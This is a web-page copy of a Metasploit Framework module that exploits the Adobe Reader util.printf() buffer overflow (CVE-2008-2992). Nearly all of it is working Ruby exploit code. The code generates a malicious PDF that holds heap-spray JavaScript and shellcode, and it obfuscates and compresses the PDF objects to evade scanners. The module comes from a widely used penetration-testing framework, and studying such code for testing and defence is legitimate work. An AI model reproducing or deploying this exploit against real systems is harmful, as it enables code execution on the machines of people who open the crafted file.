Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_utilprintf.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe util.printf() Buffer Overflow',
18
'Description' => %q{
19
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
20
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
21
entry, an attacker may be able to execute arbitrary code.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
25
'References' => [
26
[ 'CVE', '2008-2992' ],
27
[ 'OSVDB', '49520' ]
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'process',
31
'DisablePayloadHandler' => true
32
},
33
'Payload' => {
34
'Space' => 1024,
35
'BadChars' => "\x00",
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
40
],
41
'DisclosureDate' => '2008-02-08',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
54
]
55
)
56
end
57
58
def exploit
59
# Encode the shellcode.
60
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
61
62
# Make some nops
63
nops = Rex::Text.to_unescape(make_nops(4))
64
65
# Randomize variables
66
rand1 = rand_text_alpha(rand(100) + 1)
67
rand2 = rand_text_alpha(rand(100) + 1)
68
rand3 = rand_text_alpha(rand(100) + 1)
69
rand4 = rand_text_alpha(rand(100) + 1)
70
rand5 = rand_text_alpha(rand(100) + 1)
71
rand6 = rand_text_alpha(rand(100) + 1)
72
rand7 = rand_text_alpha(rand(100) + 1)
73
rand8 = rand_text_alpha(rand(100) + 1)
74
rand9 = rand_text_alpha(rand(100) + 1)
75
rand10 = rand_text_alpha(rand(100) + 1)
76
rand11 = rand_text_alpha(rand(100) + 1)
77
78
script = %Q|
79
var #{rand1} = unescape("#{shellcode}");
80
var #{rand2} ="";
81
for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
82
#{rand4} = #{rand2} + #{rand1};
83
#{rand5} = unescape("#{nops}");
84
#{rand6} = 20;
85
#{rand7} = #{rand6}+#{rand4}.length
86
while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
87
#{rand8} = #{rand5}.substring(0, #{rand7});
88
#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
89
while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
90
#{rand10} = new Array();
91
for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
92
util.printf("%45000.45000f", 0);
93
|
94
95
# Create the pdf
96
pdf = make_pdf(script)
97
98
print_status("Creating '#{datastore['FILENAME']}' file...")
99
100
file_create(pdf)
101
end
102
103
def random_non_ascii_string(count)
104
result = ""
105
count.times do
106
result << (rand(128) + 128).chr
107
end
108
result
109
end
110
111
def io_def(id)
112
"%d 0 obj" % id
113
end
114
115
def io_ref(id)
116
"%d 0 R" % id
117
end
118
119
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
120
def n_obfu(str)
121
result = ""
122
str.scan(/./u) do |c|
123
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
124
result << "#%x" % c.unpack("C*")[0]
125
else
126
result << c
127
end
128
end
129
result
130
end
131
132
def ascii_hex_whitespace_encode(str)
133
result = ""
134
whitespace = ""
135
str.each_byte do |b|
136
result << whitespace << "%02x" % b
137
whitespace = " " * (rand(3) + 1)
138
end
139
result << ">"
140
end
141
142
def make_pdf(js)
143
xref = []
144
eol = "\x0d\x0a"
145
endobj = "endobj" << eol
146
147
# Randomize PDF version?
148
pdf = "%PDF-1.5" << eol
149
pdf << "%" << random_non_ascii_string(4) << eol
150
xref << pdf.length
151
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
152
xref << pdf.length
153
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
154
xref << pdf.length
155
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
156
xref << pdf.length
157
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
158
xref << pdf.length
159
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
160
xref << pdf.length
161
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
162
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
163
pdf << "stream" << eol
164
pdf << compressed << eol
165
pdf << "endstream" << eol
166
pdf << endobj
167
xrefPosition = pdf.length
168
pdf << "xref" << eol
169
pdf << "0 %d" % (xref.length + 1) << eol
170
pdf << "0000000000 65535 f" << eol
171
xref.each do |index|
172
pdf << "%010d 00000 n" % index << eol
173
end
174
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
175
pdf << "startxref" << eol
176
pdf << xrefPosition.to_s() << eol
177
pdf << "%%EOF" << eol
178
end
179
end
180
181